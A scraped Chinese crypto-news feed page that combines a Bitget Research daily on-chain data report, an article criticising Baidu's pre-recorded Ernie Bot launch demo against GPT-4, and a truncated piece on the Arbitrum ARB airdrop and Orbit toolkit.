30%，续创历史新低。另据英国金融时报，瑞信已向瑞士央行请求支援，恳请瑞士央行显示出愿意对其施以援手的姿态。美国财政部则表示，正在密切观察瑞信的状况。瑞士央行、瑞士金融市场监督管理局也发表联合声明，将向瑞信提供流动性支持。 CryptoGPT（Token）：近期在 Makerdao 上进行 私募轮 SHO 的项目，募资计划完成不错。项目预期筹集 500K BUSD，实际募集 2.89M BUSD，超募 478%；目前 Bitget 首发上线该项目，用户参与热情不错，昨日随着 AI 板块异动，有一定财富效应； 撰文：Bitget 研究院 数据统计时间： 3 月 16 日 10:30 数据来源：Dune、Dapps、Twitter、Google 说明： 1）新增活跃用户：是指在该公链过去 24 小时新产生，并在链上有交互行为的钱包地址 2）存量活跃用户：是指在该公链 24 小时前产生，但过去 24 小时在链上有交互行为的钱包地址 3）Dapp 日活 (UAW: unique active wallets) 4）TGE (Token Generation Event) 1.1 用户画像 1.1.1 核心数据 ETH 活跃用户总数：448,939 ETH 新增活跃用户数：73,238 相比昨日增减幅：-5.65% ETH 存量活跃用户数：375,701 相比昨日增减幅：-1.37% 1.1.2 新增用户画像 核心数据：ETH 昨日新增活跃用户数 73,238，相比昨日 -5.65% 热门赛道情况 热门项目情况 重点项目： Mirror Community NFTs（NFT）：Web3 内容平台 Mirror 推出 NFT 订阅铸造“Subscribe to Mint”功能，目前已在以太坊主网、Optimism 和 Polygon 链上部署，旨在支持创作者和藏家之间的互动。目前铸币已经结束，Mirror Community NFTs 有 94,348 个链上 holders。 1.1.3 存量用户画像 核心数据：ETH 存量活跃用户 375,701，相比昨日 -1.37% 热门赛道情况 热门项目情况 重点项目： Oriental Mystery（NFT）：东方卡通类角色 NFT（https://opensea.io/collection/orientalmystery）,总共 5555 个，总成交量 2ETH，持有地址 4977 个，推特关注度一般； 1.2 热门币对 1.2.1 Uniswap V2 VY（token）：社区类 Dex 的 token（https://www.dextools.io/app/en/ether/pair-explorer/0x54a41c505488f41f700ed30d94a345c2c51c3680），Fork VE（3，3）和 Uniswap，产品无特色，代币流动性池仅 5 万美金，24 小时交易量 130 万美金； RIO（token）：一个数字和现实世界资产的 Web3 生态系统（https://www.dextools.io/app/en/ether/pair-explorer/0x0b85b3000bef3e26e01428d1b525a532ea7513b8），测试网已经上线，Alpha 版本还有 14 天上线，代币 24 小时交易量 127 万美金，近期交易额增大，用户交易频繁； POOLZ（token）：去中心化跨来 IDO 平台 Poolz Finance，昨日协议遭受攻击，代币闪崩 97%，目前在底部震荡，官方暂未公告解决情况和方案，代币 24 小时交易量 247 万美金； 1.2.2 Uniswap V3 LQTY（token）：近期去中心化稳定币的龙头，币安刚刚上线，受益于去中心化稳定币 USDC 事件及近期币安的布局，昨日代币 LQTY 价格创下新高后有所回调，24 小时交易量 2.2 亿美金，用户关注度非常高； FET（token）：GPT-4 正式发布引发 AI 板块炒作；过去 24h 交易量 2.5 亿美金，，AI 板块头部项目 FET 价格表现强势，在市场回调时抗跌性强，资金活跃； 2.1 用户画像 2.1.1 核心数据 BSC 活跃用户总数：1,230,965 BSC 新增活跃用户数：169,937 相比昨日增减幅：+18.31% BSC 存量活跃用户数：1,061,028 相比昨日增减幅：-2.17% 2.1.2 新增用户画像 核心数据：BSC 昨日新增活跃用户数 169,937，相比昨日 +18.31% 热门赛道情况 热门项目情况 重点项目： BlessedGiftbox（NFT）：新上线的 NFT，无官网信息，（https://opensea.io/collection/blessedgiftbox）目前总成交额 20BNB，持有地址 8418，建议观察； People（token）：Peopledao 在 3 月 11 日金库被黑客盗取 12 万美金的 ETH，目前还处于黑客追踪阶段，近期价格走势较弱； 2.1.3 存量用户画像 核心数据：BSC 存量活跃用户 1,061,028，相比昨日 -2.17% 热门赛道情况 热门项目情况 重点项目： Galxe（Dapp）：Galxe 是一个 Web3 凭证数据网络，通过凭证数据正在构建一个基于 Web3 的去中心化身份系统。 Galxe 为每个钱包用户创建了一个「Galaxy ID」，集成了用户在该平台所获得 NFT、OAT 和链上凭证信息，近期举行 Galxe 社区任务第 2 季，总奖池 15K GAL，为期四周，完成不同任务可获得相应奖励，同时还和 YoMetaverse、1inch 等联合推出了活动，日常运营非常频繁； 2.2.1 PancakeSwap V2 BUNNY（token）：BSC 上的早期 dex（https://www.dextools.io/app/en/bnb/pair-explorer/0x5afef8567414f29f0f927a0f2787b188624c10e2），项目推特已数个月未更新，昨日突然出现 300% 的 1 小时放量拉升，目前代币价格在高位震荡，活跃度非常高，暂未知晓原因； GPT（token）：（https://www.dextools.io/app/en/ether/pair-explorer/0xdb02d6827220475ece91893255fdf57bed51aee3）Daomaker 上首发的高热度项目，币价逆势创新高，24h 交易量达 2402 万美金，活跃度非常高，目前 Bitget 已上线 GPT，用户可到 Bitget 进行交易； 3.1 用户画像 3.1.1 核心数据 Polygon 活跃用户总数：390,989 Polygon 新增活跃用户数：69,824 相比昨日增减幅：-13.86% Polygon 存量活跃用户数：321,165 相比昨日增减幅：+1.53% 3.1.2 新增用户画像 核心数据：Polygon 昨日新增活跃用户数 69,824，相比昨日 -13.86% 热门赛道情况 热门项目情况 重点项目： Benji bananas（Dapp)：Animoca 旗下的 web2 游戏，可获得 apecoin 奖励和游戏代币 Primate；近日开启 JungleParty 冒险的第 2 部分，完成游戏任务可获得奖励，游戏交互增加明显； Credit DAO Proof（NFT）:NFT，0x...1809（https://opensea.io/collection/credit-dao-proof-v2），web3 信用协议，在 3 月份进行了 5 次代币销毁，目前其项目 NFT 持有地址达 102,705 个，用户数较多； 3.1.3 存量用户画像 核心数据：Polygon 存量活跃用户 321,165，相比昨日 +1.53% 热门赛道情况 热门项目情况 重点项目： Hunters on chain（Dapp):一款免费的动作角色扮演游戏，Boomland 是资深的游戏开发商，已发布过 200 多款游戏，超过 15 亿次下载；Hunters On-Chain 是手游 Hunt Royale 的 web3 版本，该手游已有 700 万次下载；Web3 版本游戏 Hunters On-Chain 目前已成为 Polygon 上 UAW 第二的游戏； NFTNYC（NFT）：在 Opensea 上做 Public Sale 的 NFT 项目，用户持有 NFT 可以参与今年四月份在纽约举办的 NFTNYC 大会，额外其他的活动福利；目前该 NFT 在 Opensea 的起售价格是 0.35 ETH，已经仅售出了 166 个（一共 750），热度一般； 3.2.1 Uniswap V3 GNS（token)：Gains Network 是一个建立在 Arbitrum 和 Polygon 上的衍生品交易平台，为用户提供加密货币和外汇交易选项，并提供杠杆交易。代币上线 Binance 后出于阴跌趋势，近期有筑底突破迹象，过去 24 小时涨幅 20%； 4.1 用户画像 4.1.1 核心数据 Arbitrum 活跃用户总数：127,286 Arbitrum 新增活跃用户数：23,240 相比昨日增减幅：+4.53% Arbitrum 存量活跃用户数：104,046 相比昨日增减幅：+23.58% 4.1.2 新增用户画像 核心数据：Arbitrum 昨日新增活跃用户数 23,240，相比昨日 +4.53% 热门赛道情况 热门项目情况 重点项目： COCO（token)：风险项目（https://www.dextools.io/app/en/arbitrum/pair-explorer/0x53c16d95fddb39927f71ccae6460f5dfbb373d99），代币在 dex 上 6 万流动性，出现 860 万交易量，合约问题较多，投资者需注意风险识别； Gridex (GDX)：Arbi 上新的订单簿现货交易所（https://coinmarketcap.com/dexscan/arbitrum/0xa6e376c6c2b5739085671a8937eb233ea7f598ce/），昨日刚开放空投领取，持币地址已达 144,530 个，24 小时交易量 15 万，价格 24 小时涨幅达 450%，活跃度高； 4.1.3 存量用户画像 核心数据：Arbitrum 存量活跃用户 104,046，相比昨日 +23.58% 热门赛道情况 热门项目情况 重点项目： ReadON archive（Dapp)：去中心化的内容分发平台，通过收集优秀的文章并结合用户画像，为用户推送定制化内容；其弹幕节已经正式结束，将为用户根据排名分配 3.5 万美元及 100 万积分奖励； Camelot（Dapp)：Arbi 上早期的原生 Dex，近期进行项目 Perpy 打新，xGRAIL 持有人享受 150 万美元的白名单额度，代币 24 小时上涨 20%，交易量 500 万美金，热度较高； 4.2.1 Uniswap V3 GMX（token)：衍生品 Dex 龙头，在近日回调行情中价格表现强势，仍在进行突破行情冲击前高，24 小时涨幅 8.6%；据有大的 KOL 传言 Arbitrum 即将进行空投，无法辨别真伪，用户可持续关注； Splinterlands（Dapp）：项目是一款搭建在 Hive 和 Wax 上的卡牌类游戏，玩家可以交易、购买或出售其中的数字资产以获得游戏奖励，项目在 2021 年 7 月 28 日获得 Animoca、Blockchain Founders Fund、Enjin 等投资机构的 360 万美金融资，Similarweb 显示月访问量 150 万次，主要访问国家包括美国、英国、菲律宾、法国、加拿大，游戏活跃度一直保持在各公链中的头部位置，今日宣布开启 Battle Mage Secrets 每周挑战，用户将自己的游戏视频上传，通过投票数来分发奖励； Yuliverse（Dapp）：一款角色扮演类游戏，目前公开测试版本已上线，谷歌商店下载次数 1000+，Similarweb 月访问量 2.1 万次，其中 64.22% 的用户来自日本，近期活跃度不错； Blur（Dapp）：Blur3 月 15 日平台一共成交了 2.07 万 E，Opensea 成交 5581E，交易额相较前几周持续下滑，BLUR 近期跟随 BTC 反弹，从底部上涨 50%，目前价格 0.57u，BLUR 短期价格回升能够提振 NFT 用户交易，但长期还需要看 NFT 整体市场的回暖情况以及 BLUR 代币后续的赋能，目前很难走出独立行情； Foundation（Dapp）：是一个社区主导的数字收藏品平台，于 2021 年 2 月推出，主要针对高质量创意和艺术品相关 NFT，创作者需要邀请码才能在平台铸造 NFT，3 月 9 日，Foundation 邀请 35 个杰出的创作者在同一时刻发布作品，并制作了一个免费可领取的海报 Replica，用户的关注度提升； Mobox（Dapp）：（https://www.bitget.com/en/spot/MBOXUSDT_SPBL?type=spot），BNB 链上的头部链游项目，近期的运营活动较多：$MBOX 代币回购计划，与 Trush Wallet 合作活动预热等，代币 $MBOX 回购计划，代币主要跟随 BTC 波动，24 小时交易额达 801 万美金，已在 Bitget 上线交易； TaskON（Dapp）：定位是一个 Web3 链上任务平台，推特有 9 万人关注，其中 KOL75+ 关注了项目，近期和 Bit.Store、Tugan、MetaLine、Element 等项目方做了活动，官网 Similarweb 月访问量 29.5 万次，主要流量来源是尼日利亚、印度尼西亚、越南、土耳其、乌克兰等，项目关注度很不错； Galxe（Dapp）：Galxe 是一个 Web3 凭证数据网络，通过凭证数据正在构建一个基于 Web3 的去中心化身份系统。 Galxe 为每个钱包用户创建了一个「Galaxy ID」，集成了用户在该平台所获得 NFT、OAT 和链上凭证信息，近期举行 Galxe 社区任务第 2 季，总奖池 15K GAL，为期四周，完成不同任务可获得相应奖励，同时还和 YoMetaverse、1inch 等联合推出了活动，日常运营非常频繁； Bungee（Dapp）：跨链聚合器，空投预期，项目运营整体热度高，在 2 月 21 日推出了新 Beta 版本的产品，推特 6.26 万粉丝，100+KOL 关注，Similarweb 月访问量 18.8 万次，主要访问国家包括俄罗斯、美国、德国、日本、法国； Wombat Dungeon Master（Dapp）：：NFT 质押冒险游戏，3 月 16 日推出第九季游戏，wax 账号登录、推荐用户可获得免费 NFT，UAW 暴涨 23 倍，Similarweb 月访问量 52.4 万次，主要流量来自德国、俄罗斯、墨西哥、英国、乌克兰等； Mining Network（Dapp）：Mining Network 是一款搭建在 WAX 区块链上的 NFT 挖矿游戏。上线后不久，Mining Network 在 DappRadar 排行榜上排名前三，曾经属于头部级别热度项目，现在基本已经停滞，用户流失严重； Rarible（Dapp）：Rarible 是一个多链 NFT 交易平台，用户可以创建（「铸币」）、交易数字收藏品，3 月 16 日，推出惰性铸币功能，允许任何 NFT 创造者以 0gas 费创建项目，惰性铸币功能是 NFT 在创建时不铸币，导致 gas 为 0，当有用户购买时铸币，由购买的用户支付创建 gas 费，新的功能为 Rarible 带来一定关注度； Vela（Dapp）：Vela Exchange 是 Dexpools($DXP) 品牌重构后的产品，Dexpools 原来是做 Token 与 NFT 点对点 OTC 交易的平台，现在 Vela Exchange 要打造一个类似 GMX 的交易平台，目前链上的 TVL 有 $48.28m； Odos（Dapp）：DEX 聚合器 ，从社群社媒和访问流量角度看，userbase 都不错，近期流量增长较快，Similarweb 显示月访问量 1.99 万次，12 月访问量近 3 个月巅峰达 7.3 万次，主要访问国家是日本、波兰、瑞士、美国、荷兰等，未来有空投预期，用户关注度不错； Spliterlands、Wombat、MOBOX 的异动都在上文各 Dapp 板块中有提及； Tanasinn（NFT），OWL 的竞品，用字符组成不同图案的 NFT 项目方。今日刚刚完成 Mint，社区有一定的 Fomo 情绪，目前发售 2631 个 NFT，持有地址数 698 个；上线不到 24 小时产生了 139 个 ETH 的交易量，目前地板价为 0.025 个 ETH，交易热度不错；https://opensea.io/collection/tanasinn-3 ORIENTAL MYSTERY（NFT），刚刚完成 Mint 的 NFT 项目，设计精良，融合 Azuki 和 AR 元素，刚刚完成 Free Mint，社区交易热度较高，地板价只有 0.002ETH，但是总交易量已经达到 2ETH；https://opensea.io/collection/orientalmystery 0x530...2e9，ConstitutionDao（Token），合约内多发生“Bind”、“Invest”，完成 Invest 交互的用户，可以获得 $People 代币，链上交互较为频繁，该代币是众筹购买第一份美国手写版宪法的 ConstitutionDao 发行的代币，BSC 链上的 People，最近项目方运营频繁，可以持续关注； 0x2c4...C78（Bot），链上交易频率和合约内容可以初步判断该合约是帮助项目方做代币市值管理的做市机器人，具体因合约内容不公开，需更进一步研究确定； NFTNYC（NFT），在 Opensea 上做 Public Sale 的 NFT 项目，用户持有 NFT 可以参与今年四月份在纽约举办的 NFTNYC 大会，额外其他的活动福利；目前该 NFT 在 Opensea 的起售价格是 0.35 ETH，已经售出了 166 个（一共 750），热度有限；https://opensea.io/collection/nftnyc2023ga/drop LFISoftware（NFT），从 opensea 的展示界面来看，可能项目方 NFT 图片的存储问题没有很好解决，或者项目方已经跑路，导致无交易量；https://opensea.io/collection/lfisoftwarenft-1 0xc3..bd7（Dapp），24 小时内刚刚部署，但是发生了较多交易 Reverted 情况，有可能是某个项目方部署合约出现合约漏洞导致的技术事故，该合约已在 3 个小时间停止使用； 从 Twitter 趋势代币热度角度看： 热度上升较高的代币：GNS、DBX、USDC、DAI； 新上榜代币：OSMO、VIX； VIX （Token），VIXCO，某个韩国本土项目方，做 DeFi、线下零售等业务。24 小时代币交易量 25 万美金，在韩国交易所 Bithumb 上线，没有在 DEX 上建池子，热度一般可以持续关注； Super Kol 提及较热代币：BTC、ETH、USDC、USDT； Builder 提及的代币：DBX、USDC、DQUICK、gDAI、BIT； DQUICK（Token），用户质押 QUICK 获得 dQUICK，dQUICK 用户获得协议产生的 0.04% 的手续费用，近期 Quickswap 和 gains network 合作推出的交易对收益较高，dQUICK 作为奖励来源；代币在 Quickswap 上有交易池子，目前 24 小时交易量有 2 万美金，池子交易深度为 36 万美金，交易热度一般； https://www.dextools.io/app/en/polygon/pair-explorer/0x194257104fabfd9f48bd01bd71a719637b4bbfa9 从 VC 机构在 TW 上提及的次数看：USDC、BTC、SIDUS、ZEUM、RUNE、AVAX； EGLD（Dapp），MutliverseX，做高性能公链的老项目，近期刚刚完成 MultiversX Bridge 的开发，可以提供更多的网络、更新的代币和更好的流动性，目前已兼容了 BNB 链，后面持续开发 Polygon 链的跨链功能； Swiss Credit（TradFi），瑞士信贷银行开盘跌近 30%，续创历史新低。另据英国金融时报，瑞信已向瑞士央行请求支援，恳请瑞士央行显示出愿意对其施以援手的姿态。美国财政部则表示，正在密切观察瑞信的状况。瑞士央行、瑞士金融市场监督管理局也发表联合声明，将向瑞信提供流动性支持。 CryptoGPT（Token），：近期在 Makerdao 上进行 私募轮 SHO 的项目，募资计划完成不错。项目预期筹集 500K BUSD，实际募集 2.89M BUSD，超募 478%；目前 Bitget 首发上线该项目，用户参与热情不错，昨日随着 AI 板块异动，有一定财富效应； HBT（Token），Hebeto，BNB 链上的代币，已经在 Pancakeswap 上有建池子。代币的流动性较差，池子深度只有 1 万美金，24 小时链上交易额有 2.7 万美金，买卖容易引起较大的滑点损失，不建议参与； Ai Crypto Coins（Sector），昨天 OpenAI 发布 GPT-4，其功能强大引起社区炒作热情：GPT-4 可以使用图像作为输入信息，识别图片中的对象并进行分析等。加密投资者需要找到 AI 相关的投资标的，这时候可以参考 Bitget AI 板块，Bitget AI 板块将目前加密资产中与 AI 相关的代币集合到一个交易区，以便投资者更好发现 AI 板块的交易机会； LHINU（Token），Love Hate Inu，刚刚在 DEX 建池子的 meme 币，池子深度非常低，买卖滑点较高，不建议参与； 【南亚区】 「印度」 热搜 Token：LOOM； 热搜词：Why crypto market is down、Elon Musk Twitter、Funding rate； 「巴基斯坦 」 热搜 Token：GPT； 【东南亚区】 「菲律宾」热搜 Token：GPT； 「越南」热搜词：Slots 777 Free Credit； 「印度尼西亚」热搜 Token：Poocoin；热搜词：Swiss Credit、crypto faucet； 「缅甸」热搜词：Crypto news； 「新加坡」热搜词：Crypto Staking Hebeto；热搜 Token：Luna； 「马来西亚」热搜 Token：XRP；热搜词：Bybit、CMC； 【东亚及港澳台】 热搜词：CMC、My crypto Heros、Crypto Pard； 热搜 Token：GPT、IVS； 【CIS 区】 热搜 Token：GPT； 热搜词：Crypto Bubbles、Airdrop Crypto、Kraken、Wallet； 【英文区】 「美国」热搜 Token：Crypto Staking Hebeto； 「加拿大」热搜 Token：CASA、SHIB；热搜词：AI Crypto Coins、CryptoPunk、Fidelity； 「澳大利亚」热搜 Token： HEX、CASPER、GMX、RFOX；热搜词：Credit Suisse； 「英国」热搜 Token：CRV、SHIB、IMX；热搜词：Pancakeswap、DCA、Easy Crypto Hunter； 【欧洲区】 「西班牙」热搜 Token： FLOKI、KDA、RUNE、CHZ、AGIX； 「土耳其」热搜 Token：Vbet、Selcoin； 「意大利」热搜 Token： GFT、ICP、Magic、Sweat、Trx；热搜词：Credit Suisse； 「法国」热搜 Token： Lido、ETH、Hype；热搜词：Crypto ETF、Love Hate Inu； 「德国」热搜 Token： CFX、Floki、BTC； 「波兰」热搜 Token：Celestia、RDNT、Loop、GPT； 【非洲区】热搜词：Crypto Mining、Ido Meaning、CMC； 热搜 Token：BTC； 【中东区】 热搜 Token：Oasis、BTC、Quint； 【拉丁美洲区】 「巴西」 热搜 Token：Xen、Bat、AXS、SOL、ETH； 「墨西哥」热搜 Token：BTC、Gala; 「阿根廷」热搜词：Bitfinex、Crypto； 【免责声明】市场有风险，投资需谨慎。本文不构成投资建议，用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资，责任自负。  ( 13 min )
    GPT-4收获满堂彩，百度“文心一言”还只是PPT？
    原文：《产品“摆拍”展示 文心一言露怯》 作者：文刀 3月16日，“文心一言”没有在问答环节 “翻车”，因为，百度创始人李彦宏在开发会现场展示的这个自然语言大模型产品，测试的过程和结果是提前录制好的。 “摆拍”的测试Demo里，文心一言能用中文回答问题，能续写《三体》，能理解“洛阳纸贵”，能计算“鸡兔同笼”的数学问题并给出推算过程，还能生成图片、语音甚至视频。看上去挺强大，但也仅限于看上去，远没有更早一天OpenAI直接演示GPT-4模型时带来的全网惊艳。 展示看似稳妥，但没保住股价。李彦宏登台后，港股百度集团股价从130港元开跌，22分钟后跌幅超9%至120港元，发布会结束后，百度股价也没能回到130港元。 整场发布会，文心一言没有真实互动、没有技术数据细节、没有与其他大模型的对比，李彦宏与百度CEO王海峰一人一套PPT，公众一个多月的期待落空。当下，王海峰宣布，“邀测开启”，需要邀请码。 这意味着，普罗大众还无法体验文心一言。而那边厢，GPT-4已经被嵌入到ChatGPT和搜索引擎Bing，让AI技术直抵普通人。 相较而言，百度对文心一言更有信心的领域似乎在产业，李彦宏和王海峰都强调了自然语言大模型对“千行万业”的影响，这也是它与ChatGPT的区别之一，后者的“现象级”、“杀手级”评价纯来源于用户“自来水”。 李彦宏一上台就给“文心一言”定了一个调——这个基于文心大模型底层的产品在公众的期待中，对标的是ChatGPT甚至GPT-4，“门槛很高。” 他话锋一转，巧妙地避开了百度与OpenAI的比较，而是把对比放在了全球大厂的范畴里，“百度是第一个发布的，大家知道微软是直接调用OpenAI，谷歌、Meta、英伟达都没有真正发布同类型的、同级别的产品。”这句话没说完，李彦宏清了下嗓子，一如他在过往发布会上一样，略显紧张。 后来的15分钟里，李彦宏用Demo展示了文心一言的五大能力：文学创作、商业文案创作、数理逻辑推算、中文理解、多模态生成。对应每个能力，他以文字的形式输入了不同的、有上下文联系的需求。 比如，展现文学创作能力时，他让文心一言总结《三体》核心内容后，提出从哲学的角度续写《三体》的要求；展现商业文案创作时，他让文心一言按企业业务给公司起名、生成Slogan、写公司成立的新闻稿；在展示梳理逻辑推算时，李彦宏用小学生们躲不开的“鸡兔同笼”数学题为例，甚至故意输错了题干，文心一言指出有错后，在修改的题干后给出了正确答案和解题过程。 此时，发布会直播刚好进入到第21分钟，面向全网，李彦宏突然解释了一句：演示不是现场进行的，而是提前录下来的，“因为需要输入很多词，为了节省时间。” 此话一出，全网哗然，“原来是摆拍的。”2分钟后，港股百度集团股价直接下挫至120港元，较发布会14点开始时的130港元跌超9%。 “摆拍”的测试Demo继续演示了文心一言的“强大”：解答“洛阳纸贵”在当时到底有多贵，能拿这个成语作一首藏头诗，根植于中国的百度能拿出比其他自然语言大模型竞品更好的中文理解能力；它也能在输入文字需求后生成海报（图片）、语音（可以是方言）甚至视频，即多模态生成能力。 然而，“提前录制”这个转折让文心一言后续的展示效果变弱了。 一天前，OpenAI的联合创始人Greg Brockman直播演示GPT-4的多模态能力时，没有PPT，没有酷炫的开场广告，将一张手绘的“玩笑网站”模版草图拍照上传至新模型后，10秒生成了网站。这场展示不到半小时，但Brockman全程与社群平台Discord上的用户保持互动，还随机选择了用户的需求测试GPT-4。 谁对自己的产品更自信，一目了然。 如果抛却信心不谈，那么，文心一言对标ChatGPT或GPT-4到底能否胜出？ 在数据或技术细节上，无论是李彦宏还是后来上台解释文心一言技术背景的CTO王海峰，都没有在发布会现场给出具体的对比，仅提到了“5500亿”这个事实量指标，而GPT-4并没有对外披露知识数。 普通人或许无法在数据对比中得出结论。但作为中文用户，我们将李彦宏给文心一言输入的中文需求甩给了植入GPT-4模型的ChatGPT，这个“外国AI”也可以理解，但很容易给出错误答案。 比如，做鸡兔同笼数学题了错不说，题干错误也未能指出；将成语“洛阳纸贵”解释成“高分考卷在洛阳被大量复制、传阅”，“表示名贵、珍重、有价值”，属于没读过《晋书·左思传》里的《三都赋》典故，不知这个成语原意是比喻“著作风行”之意了。 有趣的是，ChatGPT又回答出“洛阳纸贵”在现代经济学原理中代表“供求关系”的引申义。当它用这个成语作藏头诗时，前面三个字都藏头入诗了，但“贵”写成了“绮”，没能对这个中文字正确识别。 正如李彦宏所说，文心一言根植于中国，一定比其他国家的自然语言大模型更理解中文和中国文化。而对于跨语言，文心一言还在学习，“英文也能用，但肯定没有中文好。” GPT-4适应的“母语”显然是英语，但为了初步测试该模型在其他语言上的能力，OpenAI的研究团队曾使用 Azure Translate 将MMLU 基准（一套涵盖 57 个主题的 14000个多项选择题 ）翻译成多种语言时，GPT-4 的英语精度(85.5%)较GPT-3.5 的精度(70.1%)更高，而跨语言精度放在普通话（Mandarin）上，GPT-4能达到80.1%，高于日语和韩语等亚洲国家的语言。 作为中国本土化的ChatGPT，中文能力好当然是应尽之责。对用户和客户来说，这也是最明显的利好，语言门槛低了，申请、使用相应地都会带来便捷。但放在全球竞争中，这个优势最多能体现在使用中文的国家和地区中，而OpenAI将辐射英文使用区。 在多模态生成上，文心一言的Demo展示了输出图片、语音、视频的能力;GPT-4也披露将具备图片、视频的输出能力，但目前无法在ChatGPT 上向更广泛的公众展现，而它对网络“梗图”的理解力曾让网友惊叹，当然，最惊讶的还是它用草图框架生成代码的能力。 写代码这一涉及多模态的能力，文心一言并没有在发布会中展示。但已经拿到测试资格的媒体《量子位》成员在晚间的直播中测试了文心一言写代码能力，给出的评价是“一般般”，“Python语言还可以，其他语言就不太行了。”他还测试了文心一言是否具有GPT-4的角色扮演能力，结论是“没办法”。 “从我自己的内测体验看，文心一言确实也不能叫作完美。”李彦宏谦虚了一下又说，“但是，为什么今天要发布？”屏幕前一定有人以为他要说竞争、要说文心一言的出品难度，没想到的是，他自问完自答：因为有市场需求。 他说，百度的各个产品线，从搜索、智能云到自动驾驶、到小度都等着要用这样的的技术，“更重要的是，我们的客户、我们的合作伙伴在等着用这样的技术，大家都在催，我们需要尽早的将它发布出来。” 一句话，李彦宏道出了文心一言的企业级场景，客户、合作伙伴成为重中之重，背后的一页PPT里写着，“文心一言让每一家公司都离客户更近”。 在解释文心一言以及底层的文心大模型会带来哪些创业机会和投资机会时，李彦宏说，大模型将带来三大产业机会，包括新型云计算、行业模型精调和应用开发，而有关文字、图像、音视频生成、数字人、3D生成等的应用开发是“最大的机会”。 万众期待的文心一言发布会在这一刻如同一场“商业路演”，坐等客户上门。而在这场发布会之前的一个月里，几百家企业纷纷官宣加入了文心一言生态，百度给出的数据是650多家。 To B或许是文心一言的重要优势，毕竟，这个产品是集合了百度多个大模型的产物，包括ERNIE和PLATO，而这两个模型都产出过多个企业级模型，场景涵盖金融、医疗、航天、媒体、汽车等等。文心一言给企业用，简直是水到渠成。 此前，有两家“官宣”的公司告诉《元宇宙日爆》，“先占坑，测试后再看怎么用。”企业需求到底有多强烈，还有待观察。观察的窗口期也开始了，在发布会上，百度CTO王海峰当场宣布，“邀请测试”当天启动，获得邀请码即可参与测试，包括合作伙伴和个人。 很快，文心一言的测试入口开通，当然，需要邀请码才能开测。当晚10点，百度发布了文心一言的“邀测”喜报，申请调用的企业为6.5万家。 测试Demo是提前录制的，真实的测试将在有限的用户中展开，文心一言到底强不强，测试用户心里会有数。那么个人用户如何获得邀测权限？百度公布方案:在测试入口网站点击“立即体验”，参与排队。更广泛的个人用户想要用到这个产品，大概率要等它正式上线了。 百度倒不是不重视C端，发布会上，李彦宏说了，大语言模型这种产品，一旦发布出来，就会获得真实用户的反馈，“有了这些反馈，它迭代的速度、能力的提升就会非常快。” 可见，“真实用户中”的C端也有他的价值，为文心一言的大模型贡献“反馈”，提升它的迭代速度与能力。希望这个贡献对C端是免费的，这样又能与ChatGPT产生差异化。毕竟，那个“外国AI”要向体验GPT-4模型的用户收Plus版的订阅费。  ( 4 min )
    除了空投，Arbitrum哪些进展值得关注？
    原文：《除了空投，L2领跑者Arbitrum还有哪些新动作》 撰文：Mary Liu 加密社区最期待的大事之一 --Arbitrum 空投 -- 终于来了。Arbitrum Foundation 宣布将于 3 月 23 日向其社区成员空投 ARB 治理代币，并启动其第 3 层开发工具 Arbitrum Orbit，这使 Arbitrum 离完全去中心化又近了一步。 根据公告，随着 ARB 的引入，Arbitrum 将转变为一个自动执行的去中心化自治组织 (DAO)，允许 ARB 持有人对管理 Arbitrum One 和 Arbitrum Nova （专为 Web3 游戏和社交媒体应用程序设计）的关键决策进行投票。Arbitrum DAO 将控制核心协议级别的关键决策，包括技术升级和生态系统支持的收入分配。 Arbitrum 的创建团队 Offchain Labs 强调，ARB 代币将使 Arbitrum 生态系统比其他扩展链更加去中心化。 Aribtrum 在不到两年的时间里突然崛起，成为以太坊上最受欢迎的第 2 层区块链之一。 在竞争激烈的第 2 层区块链或 rollups 赛道，Arbitrum 已经成为领导者，拥有 55% 的市场份额，上个月连续两天交易量超过以太坊，其他明星项目包括 Optimism、Polygon、zkSync 和 StarkNet 等。 根据 DeFiLlama 的数据，Arbitrum 链上锁仓总价值为 16 亿美元，几乎是其竞争对手 Optimism 的两倍，Optimism 是另一个第二层区块链，同样旨在使以太坊交易更快、成本更低。Optimism 已经推出了自己的代币 OP，目前市值约为 7.5 亿美元。 什么是 ARB 以及如何申领？ Arbitrum 与加密分析公司 Nansen 合作，根据用户活动确定 ARB 代币申领资格。符合条件的用户可以通过访问 Arbitrum 官方网站领取代币，团队还发布了有关哪些用户符合条件的文档，以下为关键点：   第 3 层开发人员工具 Arbitrum Orbit 启动 除了空投公告外，Arbitrum 还为那些有兴趣在 Arbitrum 之上构建第 3 层解决方案的人发布了一个开发工具包：Arbitrum Orbit，将允许任何人在 Arbitrum 代码库之上启动他们自己的 L3。 Arbitrum 使用 optimistic rollups 将交易批处理到第 1 层以太坊区块链上。建立在 Arbitrum 上的第 3 层网络将使用类似的 rollup 将交易批量发送到 Arbitrum，然后将其 rollup 到以太坊中，它将允许以相对较低的成本增加交易处理量。 构建此类第 3 层网络的开发人员被授予永久许可，可以随意使用和更改 Arbitrum 源代码，开发人员可以在 Arbitrum 之上创建特定于应用程序的链或通用链。 这与竞争对手 Layer 2 Optimism 的方法有点不同，Optimism 没有专注于第 3 层网络，而是鼓励基于其代码堆栈创建许多可以相互链接的第 2 层网络，Coinbase 的 Base 就是其首批支持者之一。也就是说，Arbitrum 对使用其代码支持第 2 层网络持开放态度。Arbitrum DAO 将能够投票决定是否支持使用 Arbitrum 结算到以太坊的其他第 2 层链。如果这些链选择接受 Arbitrum 的章程，它们将被称为「治理」链。 一个突出的特点是，ARB 代币将不会用于支付 Arbitrum 链上的任何费用，链上费用仍将通过 ETH 支付。 Offchain Labs 首席执行官 Steven Goldfeder 表示，Layer 3 公告并不是对 Optimism 与 Coinbase 合作的反应：「我们已经计划第 3 层战略很长时间了」。 在周四的公告之前，Offchain Labs 是唯一负责对扩容技术进行更改或调整的实体。 不过随着 ARB 代币的推出，Goldfeder 和他的团队将把这些控制权交给社区。这些控制权还附带了额外的责任，即一旦 DAO 执行投票，代码将同时更新。 通常，大多数 DAO 让治理代币持有者通过提案进行投票，然后项目的核心团队通过更改网络代码来执行结果。Offchain Labs 设立 DAO 的不同之处在于代码库会根据最终结果自动更改，这意味着 DAO 可以直接控制网络。 尽管如此，作为一个自我执行的 DAO 还是有一些风险的。如果恶意行为者能够通过投票过程更改代码，那么它也将自动应用于代码，曾经的 Beanstalk 项目就是个例子，黑客使用闪电贷获得足够的代币来通过投票，批准将 1.82 亿美元的资金转移到自己的钱包中。 Goldfeder 表示，如果在软件中发现严重的、紧急性的错误，一个由 12 